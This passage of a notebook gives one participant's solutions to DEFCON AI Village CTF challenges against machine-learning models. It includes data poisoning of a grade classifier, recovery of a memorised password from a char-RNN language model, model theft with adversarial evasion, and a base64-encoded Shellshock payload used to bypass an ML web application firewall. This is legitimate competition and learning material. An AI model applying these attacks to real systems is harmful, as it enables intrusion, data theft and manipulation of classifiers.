organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:12:55.403594Z","iopub.execute_input":"2022-09-08T07:12:55.404169Z","iopub.status.idle":"2022-09-08T07:12:59.151972Z","shell.execute_reply.started":"2022-09-08T07:12:55.404122Z","shell.execute_reply":"2022-09-08T07:12:59.150649Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotterdog\", \"G5DPHYOABWW193PJOZF27TUOHH95AD0FN{CWBRYDSYGFDYBB3ZIDOT5HU93AQKH8}VH5GLZO1LHD1VGZ0XJQG1XGZCGLAFGOVP78PVQOO3VOLDXLCTVH6DA53UZ1FAFL\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:13:10.439332Z","iopub.execute_input":"2022-09-08T07:13:10.439836Z","iopub.status.idle":"2022-09-08T07:13:10.458802Z","shell.execute_reply.started":"2022-09-08T07:13:10.439791Z","shell.execute_reply":"2022-09-08T07:13:10.457358Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo it!\n","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/honorstudent/f.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:13:17.165960Z","iopub.execute_input":"2022-09-08T07:13:17.166439Z","iopub.status.idle":"2022-09-08T07:13:17.184680Z","shell.execute_reply.started":"2022-09-08T07:13:17.166389Z","shell.execute_reply":"2022-09-08T07:13:17.183473Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# For honorstudent I created an A image by hand using an array\n# and it just worked ¯\\_(ツ)_/¯\nA = [\n        \"    ##    \", \n        \"   #  #   \",\n        \"  #    #  \",\n        \"  ######  \",\n        \"  #    #  \",\n        \"  #    #  \",\n    ]\n\n\nwith open(f\"f_tampered.png\", \"wb\") as f_tampered:\n    width, height = len(A[0]), len(A)\n    img = Im.new(\"L\", (width, height), 0)\n\n    for i in range(height):\n        for j in range(width):\n            if A[i][j] == \" \":\n                img.putpixel((j, i), 0)\n            else:\n                img.putpixel((j, i), 255)\n\n    img = img.resize((28, 28))\n\n    # Save the tampered image\n    img.save(f_tampered)\n    \ndisplay(Ima(\"f_tampered.png\"))\nwith open(\"f_tampered.png\", \"rb\") as f:\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:16:13.411782Z","iopub.execute_input":"2022-09-08T07:16:13.412682Z","iopub.status.idle":"2022-09-08T07:16:14.090086Z","shell.execute_reply.started":"2022-09-08T07:16:13.412638Z","shell.execute_reply":"2022-09-08T07:16:14.089008Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"honorstudent\", \"MXSN9VXSA3VZM3WT8TLNVV3YMIK5MGKAF6LYT6DHH6HN}CFQOPCOF1RIAYOPZNAHTNSLHU0Y67XEP7SFYIS8ESBI8S{AGUXPH6DKCGP0FDR1T8HVAF2EQO4HES4JNNLE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:16:18.226569Z","iopub.execute_input":"2022-09-08T07:16:18.227238Z","iopub.status.idle":"2022-09-08T07:16:18.244428Z","shell.execute_reply.started":"2022-09-08T07:16:18.227199Z","shell.execute_reply":"2022-09-08T07:16:18.242909Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`","metadata":{}},{"cell_type":"code","source":"# For secret sloth I got a bit spoiled because I found the original image\n# Then I tried a lot of methods like wavelets transforms and other signal processing\n# techniques as it was suggested by moo. Then I found a Stackoverflow post where\n# the author was trying to modify an image by changing it to frequency space using FFT\n# and changing some values to the payload image. So I tried doing the reverse,\n# Convert both the original and encoded images to frequency domain with np.fft2\n# Then do the difference between them and voila the secret image was in there,\n# sadly not on the hat, but on the lower half of the image. It's funny because\n# everyone was looking at the hat. I was overthinking it \"Maybe we have to take\n# off the hat somehow and the flag is written on its forehead.\"\n\nsource_image = np.array(Im.open(f\"{dir_name}/secret.sloth/secret-sloth.png\").convert(\"RGB\"))\nwith urllib.request.urlopen(\"https://i.imgur.com/iHCQX6p.png\") as r:\n    encoded_image = Im.open(r)\nencoded_image = np.array(encoded_image)\nencoded_image.shape, source_image.shape\n\nsource_frequency = np.fft.fft2(source_image)\nencoded_frequency = np.fft.fft2(encoded_image)\n\nsecret_layer = (source_frequency - encoded_frequency)\nsecret_layer = np.abs(secret_layer).astype(np.uint8)\nsecret_layer = np.where(secret_layer > 50, 255, 0)\n\nplt.imshow(secret_layer[250:, ...])\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:22:04.077292Z","iopub.execute_input":"2022-09-08T07:22:04.077797Z","iopub.status.idle":"2022-09-08T07:22:06.057939Z","shell.execute_reply.started":"2022-09-08T07:22:04.077756Z","shell.execute_reply":"2022-09-08T07:22:06.056495Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": \"FLAG{SPECTRAL}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:22:08.427755Z","iopub.execute_input":"2022-09-08T07:22:08.428233Z","iopub.status.idle":"2022-09-08T07:22:09.054953Z","shell.execute_reply.started":"2022-09-08T07:22:08.428186Z","shell.execute_reply":"2022-09-08T07:22:09.053835Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"sloth\", \"G1FEI5RL1FY25FTDJP7PFEUCXXQ2O6Y537ZE{3PAQ7YNFYDFYZPLL875CE8MW7WGKBS2SEUX}IQ7ND3SPKF5JCARNQALMMNOF5D3XLSWPEVIKCCTTM9XLQRKX1DLZN7P\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:22:10.967637Z","iopub.execute_input":"2022-09-08T07:22:10.968668Z","iopub.status.idle":"2022-09-08T07:22:10.979899Z","shell.execute_reply.started":"2022-09-08T07:22:10.968619Z","shell.execute_reply":"2022-09-08T07:22:10.978553Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"code","source":"# For bad to good I tried different combinations of grades and stuff by carefully keeping the\n# ratio correct; for each absence -3 points, demerits -5 points (iirc); but nothing really worked,\n# I guess \"Be careful to not overdo it!\" was a trick suggestion. The numbers I choose are\n# just randomly obscene. Making everyone with a very bad grade a good student. Low grade => hight score\n\ndf = pd.read_csv(f\"{dir_name}/bad2good/math.csv\")\n\ndf.loc[:31, [\"Grade\", \"Absences\", \"Demerits\", \"Score\"]] = [-1000000000000000, -100000, 0, 100]\n\ndf.to_csv(\"math_tampered.csv\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:21:41.450368Z","iopub.execute_input":"2022-09-08T09:21:41.450773Z","iopub.status.idle":"2022-09-08T09:21:41.464229Z","shell.execute_reply.started":"2022-09-08T09:21:41.450741Z","shell.execute_reply":"2022-09-08T09:21:41.463388Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"math_tampered.csv\", \"r\") as f:\n    try:\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:21:42.517397Z","iopub.execute_input":"2022-09-08T09:21:42.518213Z","iopub.status.idle":"2022-09-08T09:21:42.708689Z","shell.execute_reply.started":"2022-09-08T09:21:42.518170Z","shell.execute_reply":"2022-09-08T09:21:42.707250Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"bad_to_good\", \"wt8pDFZIhE03A049nPGIW4R0B9S3J2TNB8REAZSCF_CGDKX5SAJK17TtCVO1LVE_AM1TETNeWOI86ZaDA3WF}bFLSH52POXGoM7Q1JBC0B1SEI_TGBCSVEd20{2JKL55\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:21:45.963424Z","iopub.execute_input":"2022-09-08T09:21:45.963876Z","iopub.status.idle":"2022-09-08T09:21:45.978300Z","shell.execute_reply.started":"2022-09-08T09:21:45.963842Z","shell.execute_reply":"2022-09-08T09:21:45.976944Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Inference (id: inference) -- 400 Points\n\n### Scenario\n\nModel model on the wall, who is the fairest of them all?\n\n?gnidaer llits uoy era yhW .uoy htiw skcans thguorb ev'dluohs uoY .skcans rof pots t'noD .won oG .tsaf oG .niW .galf eht teG .ledom eht esreveR\n\n### Objective\n\nRetrieve the images that spell the flag. Wrap any text in `FLAG{}`\n\n**If you need a hint, there's a guy named `moo` somewhere.**","metadata":{}},{"cell_type":"code","source":"# The model outputs 6 values. These values represent the probability that the input image\n# is part of the flag at the argmax value.\n# For example if we input an image of an A and we get [0.1, 0.2, 0.5, 0.1, 0.05, 0.05]\n# Then we might expect that \"A\" is the third character in the flag __A___\n# I tried all the possible fonts and also a handwritten dataset for letters\n# Generating the letters with fonts didn't really work, I obtained very different results\n# with the handwritten letters, but usually the string result was something like\n# {D}{JSXYZ}{F}{CEKL}{OUQG}{MNWH} and keeping in mind the conference made me try D3FC0N and it worked.\n# I deleted the dataset of the handwritten letters to run faster and already had the flag.\n# kaggle.com/datasets/crawford/emnist\n\n!fc-list > fonts.txt\n\nwith open(\"fonts.txt\", \"r\") as f:\n    fonts = f.read()\n    fonts = fonts.splitlines()\n    fonts = list(map(lambda s: s.split(\":\")[0], fonts))\n    \nfonts = list(filter(lambda font: font.endswith(\".ttf\"), fonts))","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:27:21.612892Z","iopub.execute_input":"2022-09-08T07:27:21.613416Z","iopub.status.idle":"2022-09-08T07:27:22.720730Z","shell.execute_reply.started":"2022-09-08T07:27:21.613374Z","shell.execute_reply":"2022-09-08T07:27:22.718920Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import ImageDraw\nfrom PIL import ImageFont\nfrom PIL import ImageFilter, ImageOps\nimport string\n\n\ndef get_32_img_char(char, font, font_size=32):\n    img = Im.new(\"L\", (32, 32), 0)\n\n    I1 = ImageDraw.Draw(img)\n\n    font = ImageFont.truetype(font, font_size)\n    I1.text((7, 5), char, fill=(255), align=\"center\", font=font)\n\n    img = img.resize((32, 32))\n    \n    return img\n\ncharacters = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\ndef get_characters_img(font, font_size=32):\n    xs = []\n    for char in characters:\n        img = get_32_img_char(char, font, font_size=font_size)\n        img = img.rotate(0)\n\n        x = np.array(img).reshape(32, 32)\n        x = x / 255\n        x = np.where(x > 0.5, 1, 0)\n\n        xs.append(x)\n\n    return xs\n\nxs = get_characters_img(fonts[0], 22)\n \nx = np.stack(xs).reshape(-1, 32, 32, 1).astype(np.float32)\n\nIm.fromarray((np.concatenate(xs, 1)*255).astype(np.uint8))","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:27:22.724544Z","iopub.execute_input":"2022-09-08T07:27:22.725746Z","iopub.status.idle":"2022-09-08T07:27:22.764705Z","shell.execute_reply.started":"2022-09-08T07:27:22.725671Z","shell.execute_reply":"2022-09-08T07:27:22.763448Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Using handwritten text data flag looks like \"D?FCON\" maybe DEFCON -> hackerman language -> D3FC0N\n# {D}{JSXYZ}{F}{CEKL}{OUQG}{MNWH}\n\nx = np.random.uniform(0, 1, (1, 32, 32, 1))\n\ntry:\n    response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": x.tolist()}))\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:27:46.001186Z","iopub.execute_input":"2022-09-08T07:27:46.001647Z","iopub.status.idle":"2022-09-08T07:27:46.757901Z","shell.execute_reply.started":"2022-09-08T07:27:46.001610Z","shell.execute_reply":"2022-09-08T07:27:46.756681Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"try:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"inference\", \"submission\": \"FLAG{D3FC0N}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:27:47.391065Z","iopub.execute_input":"2022-09-08T07:27:47.391595Z","iopub.status.idle":"2022-09-08T07:27:48.017596Z","shell.execute_reply.started":"2022-09-08T07:27:47.391552Z","shell.execute_reply":"2022-09-08T07:27:48.016560Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"inference\", \"XSQL4ZFT3IH64RFAK0ZMCNX66L2N1ARXJPPZQSR5SXX1SW59SXZ48RQ9LEOJCG5HGB85D45HAI57VT9D1UH34FFIXH5SE}TC6DVYOOWQDMCF{82FZU2GIXW8ZCV8BE3D\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:27:50.259676Z","iopub.execute_input":"2022-09-08T07:27:50.260375Z","iopub.status.idle":"2022-09-08T07:27:50.272506Z","shell.execute_reply.started":"2022-09-08T07:27:50.260335Z","shell.execute_reply":"2022-09-08T07:27:50.271516Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?","metadata":{}},{"cell_type":"code","source":"# Bruteforce\n# For the Baseball solution I tried to change the test_picth json data\n# such that it got a better and better score for Henry, I did it manually\n# but I think that some automated way such as hotterdog can be possible\n# 1. submit a number of K random samples\n# 2. choose the best one\n# 3. modify the best one with some random noise\n# 4. repeat until flag\n\n\nwith open(f\"{dir_name}/baseball/test_pitch.json\", \"r\") as f:\n    test = json.load(f)\n\ndf = pd.DataFrame(test[\"pitches\"])\n\ndf.loc[:, [\"x\", \"y\"]] = (df.loc[:, [\"x\", \"y\"]] + 0) % 10 + 9\n\ndf.loc[:, \"x\"] = df.loc[:, \"x\"].map(lambda x: (x if x <= 15 else x - 2) % 30)\ndf.loc[:, \"y\"] = df.loc[:, \"y\"].map(lambda x: (x if x < 15 else x + 1) % 30)\n\ntest = {\"pitches\": df.to_dict(orient=\"records\")}\n\nsns.scatterplot(x=\"x\", y=\"y\", data=df)\n    \ntry:\n    r = requests.post(\"https://bball.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:12:51.018931Z","iopub.execute_input":"2022-09-08T08:12:51.019805Z","iopub.status.idle":"2022-09-08T08:12:52.038932Z","shell.execute_reply.started":"2022-09-08T08:12:51.019761Z","shell.execute_reply":"2022-09-08T08:12:52.037818Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"baseball\", \"ETJ2EEPS3F2OXRUW1YNR98LQFGCGSL3AA0AEK9EM9TJ{AOG48OSZWNDMBLN8IMMLZ1047S4A3I6G}L7HSGYB8F5TFYEY5HDJLL9YVELPJ6P95JC4ESXQILS5FD2UQTN8\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:14:27.231186Z","iopub.execute_input":"2022-09-08T08:14:27.232118Z","iopub.status.idle":"2022-09-08T08:14:27.243337Z","shell.execute_reply.started":"2022-09-08T08:14:27.232072Z","shell.execute_reply":"2022-09-08T08:14:27.242044Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"code","source":"# I tried to follow a hint \"The hint is in the example input\" but it was not\n# a b64 valid string so I played around with it until I managed to get someting \n# useful (there are a lot of ways to make it valid, but appending a letter) in\n# front of it made it spell out _ash which made me think that the hint is bash\n# something that I guess was obvious, sending a command as the base 64 was the goal.\n# Then I tought of searching \"bash vulnerabiltiy\" and the first result was the solution :)\n# Probably old version of bash that is vulnerable to CVE-2014-6271 where bash executes\n# the code after the env variable declaration. Also I guess that this command aligns\n# the bytes forming bash to be in different blocks of 5, YmFza would be cought as malicious\n\nimport base64\n\n# input = \"mFzaC==\"\nprint(\"The hint is \" + base64.b64decode(\"YmFzaC==\").decode(\"ascii\"))\n\ninput = base64.b64encode(b\"env x='() { :;}; echo vulnerable' bash -c \\\"echo this is a test\\\"\").decode(\"ascii\")\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:22:05.495935Z","iopub.execute_input":"2022-09-08T08:22:05.496779Z","iopub.status.idle":"2022-09-08T08:22:06.196491Z","shell.execute_reply.started":"2022-09-08T08:22:05.496726Z","shell.execute_reply":"2022-09-08T08:22:06.195535Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"waf\", \"L2K23LNTCRQCR5TP30Z6754NMAW3IKVVYB1EJM0U0D245LCL5IWBASNKKXL7J{0SXZ23PJGEYLPRP7NAV8XF13KE8MF0RDKRNYA}CMR1FNF45F9TLSURZ605ZADMDYC5\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:22:09.312108Z","iopub.execute_input":"2022-09-08T08:22:09.312813Z","iopub.status.idle":"2022-09-08T08:22:09.323350Z","shell.execute_reply.started":"2022-09-08T08:22:09.312774Z","shell.execute_reply":"2022-09-08T08:22:09.322020Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file!  Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n","metadata":{}},{"cell_type":"code","source":"# Since the username and password were used in the training data\n# I tought that the format was something like username:password\n# and if I feed the to RNN model the username it will output the next\n# character from the combination, (the username is pretty unique and \n# I think that it wasn't really used in another context)\n# After I get the new character I append it to the username and feed\n# it to the model again, until I get the flag.\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(f\"{dir_name}/leakage/pretrained_model.pt\"))\n\npayload = \"xXx_SkynetKilla_xXx\"\nnext_char = \"\"\n\n# I find it satisfying to watch the flag being generated character by character :)\nwhile next_char != \"}\":\n    xs = featurize(payload)\n\n    next_char = chr(model(xs).argmax().item())\n\n    payload = payload + next_char\n    \n    print(payload)\n    \nflag = payload.split(\":\")[1]\nflag","metadata":{"execution":{"iopub.status.busy":"2022-09-08T17:06:29.787186Z","iopub.execute_input":"2022-09-08T17:06:29.787841Z","iopub.status.idle":"2022-09-08T17:06:30.225356Z","shell.execute_reply.started":"2022-09-08T17:06:29.787806Z","shell.execute_reply":"2022-09-08T17:06:30.224417Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"leakage\", \"submission\": \"FLAG{s4RaHc0Nnor<3<3}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:24:25.426508Z","iopub.execute_input":"2022-09-08T08:24:25.427328Z","iopub.status.idle":"2022-09-08T08:24:26.055221Z","shell.execute_reply.started":"2022-09-08T08:24:25.427284Z","shell.execute_reply":"2022-09-08T08:24:26.054217Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"leakage\", \"Fa95sG42JUrLYVnPHOJoN6BHGHYQUG7OAA3YLPAICUN1BO2HD5WY<ZLU2EK5SMU97ZEPIN5}8OF9TCXAcMI0{X3VWX673L7M0XNN36E<HDQ0UR3NPBI5SUIHQ39KKU72\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:24:27.224372Z","iopub.execute_input":"2022-09-08T08:24:27.224842Z","iopub.status.idle":"2022-09-08T08:24:27.236835Z","shell.execute_reply.started":"2022-09-08T08:24:27.224802Z","shell.execute_reply":"2022-09-08T08:24:27.235645Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.","metadata":{}},{"cell_type":"code","source":"# I mean .name, altough I didn't realize how useful this model would be until one or two days into theft, then it solved salt then hotterdog\n\nmodel = keras.models.load_model(f\"{dir_name}/forensics/forensics.h5\")\n\nmodel.name.replace(\"(\", \"{\").replace(\")\", \"}\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:29:29.767613Z","iopub.execute_input":"2022-09-08T08:29:29.768842Z","iopub.status.idle":"2022-09-08T08:29:30.920162Z","shell.execute_reply.started":"2022-09-08T08:29:29.768797Z","shell.execute_reply":"2022-09-08T08:29:30.919001Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"forensics\", \"submission\": \"FLAG{F0R3NS1C5_XD}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:29:30.922261Z","iopub.execute_input":"2022-09-08T08:29:30.922747Z","iopub.status.idle":"2022-09-08T08:29:31.563852Z","shell.execute_reply.started":"2022-09-08T08:29:30.922709Z","shell.execute_reply":"2022-09-08T08:29:31.562537Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"forensics\", \"RY25PU21Q0BXVZOBPLXC03758GA134QN0}A1DRJZ0937NNF4SODR41R63271MP0DF7BR34A1OF4XPQIEV8SLVFE3Z0XEO05QJP1OOY1D4FTJA{UCS_V0844X2WSD1SI5\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:29:31.565182Z","iopub.execute_input":"2022-09-08T08:29:31.565552Z","iopub.status.idle":"2022-09-08T08:29:31.578718Z","shell.execute_reply.started":"2022-09-08T08:29:31.565519Z","shell.execute_reply":"2022-09-08T08:29:31.577587Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# THEFT (id: theft) -- 100 Points\n\n### Scenario\n\nA client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).\n\n### Objective\n\nThe goal of this challenge is to steal the model to do an offline evasion attack against it. A useful resource to get started is: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 ","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:49.925729Z","iopub.execute_input":"2022-07-25T14:57:49.926151Z","iopub.status.idle":"2022-07-25T14:57:49.936199Z","shell.execute_reply.started":"2022-07-25T14:57:49.926114Z","shell.execute_reply":"2022-07-25T14:57:49.93445Z"}}},{"cell_type":"code","source":"# Check the url to explain. I changed the create image function to work with\n# the new tensorflow, but it has the same idea as the writeup from 2018\n# + described in hotterdog\n\nmodel = keras.models.load_model(f\"{dir_name}/forensics/forensics.h5\")\n\nmodel._name = \"GotTheFlagXD\"\n\nimg = Im.open(f\"{dir_name}/theft/owl.jpg\")\n\nIMAGE_DIMS = (224, 224)\n\n# Here I bruteforced the classes to get that class 33 was the one I needed to\n# change the image for, to get the owl classified as loggerhead\nresult_img = create_img(img, model, 33, IMAGE_DIMS)\n\nimg_bytes = result_img.tobytes()\n\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode(),\n}\n\ntry:\n    r = requests.post(\"https://theft.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:32:05.395686Z","iopub.execute_input":"2022-09-08T08:32:05.396427Z","iopub.status.idle":"2022-09-08T08:32:10.442519Z","shell.execute_reply.started":"2022-09-08T08:32:05.396384Z","shell.execute_reply":"2022-09-08T08:32:10.441555Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"theft\", \"RN7YTL3VSCH6ZYE11P5LH}5E6P3?8LQS4Z3OASMSJMDQ91US4Y4KV070NAL71B6LCNFGSYI1N50{JVNPNA6B5YZL6F89XL3YBBDPU48NDH3L3ENU7H35XB8QAWB7VPF7\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:32:52.803292Z","iopub.execute_input":"2022-09-08T08:32:52.803805Z","iopub.status.idle":"2022-09-08T08:32:52.817866Z","shell.execute_reply.started":"2022-09-08T08:32:52.803757Z","shell.execute_reply":"2022-09-08T08:32:52.816860Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# SALT (id: salt) -- 200 Points\n\n### Scenario\n\nImages sent to this model are modified (salted) before classification, can you still do an evasion attack against it? Backdoor this photo of an turtle (`salt/turtle.jpg`) to be an Owl (great_grey_owl).\n\n### Objective\n\nBuild an evasion attack that will beat the image salting defence.","metadata":{}},{"cell_type":"code","source":"# For salt I used the same method as Theft and hotterdog\n# I have also bruteforced the 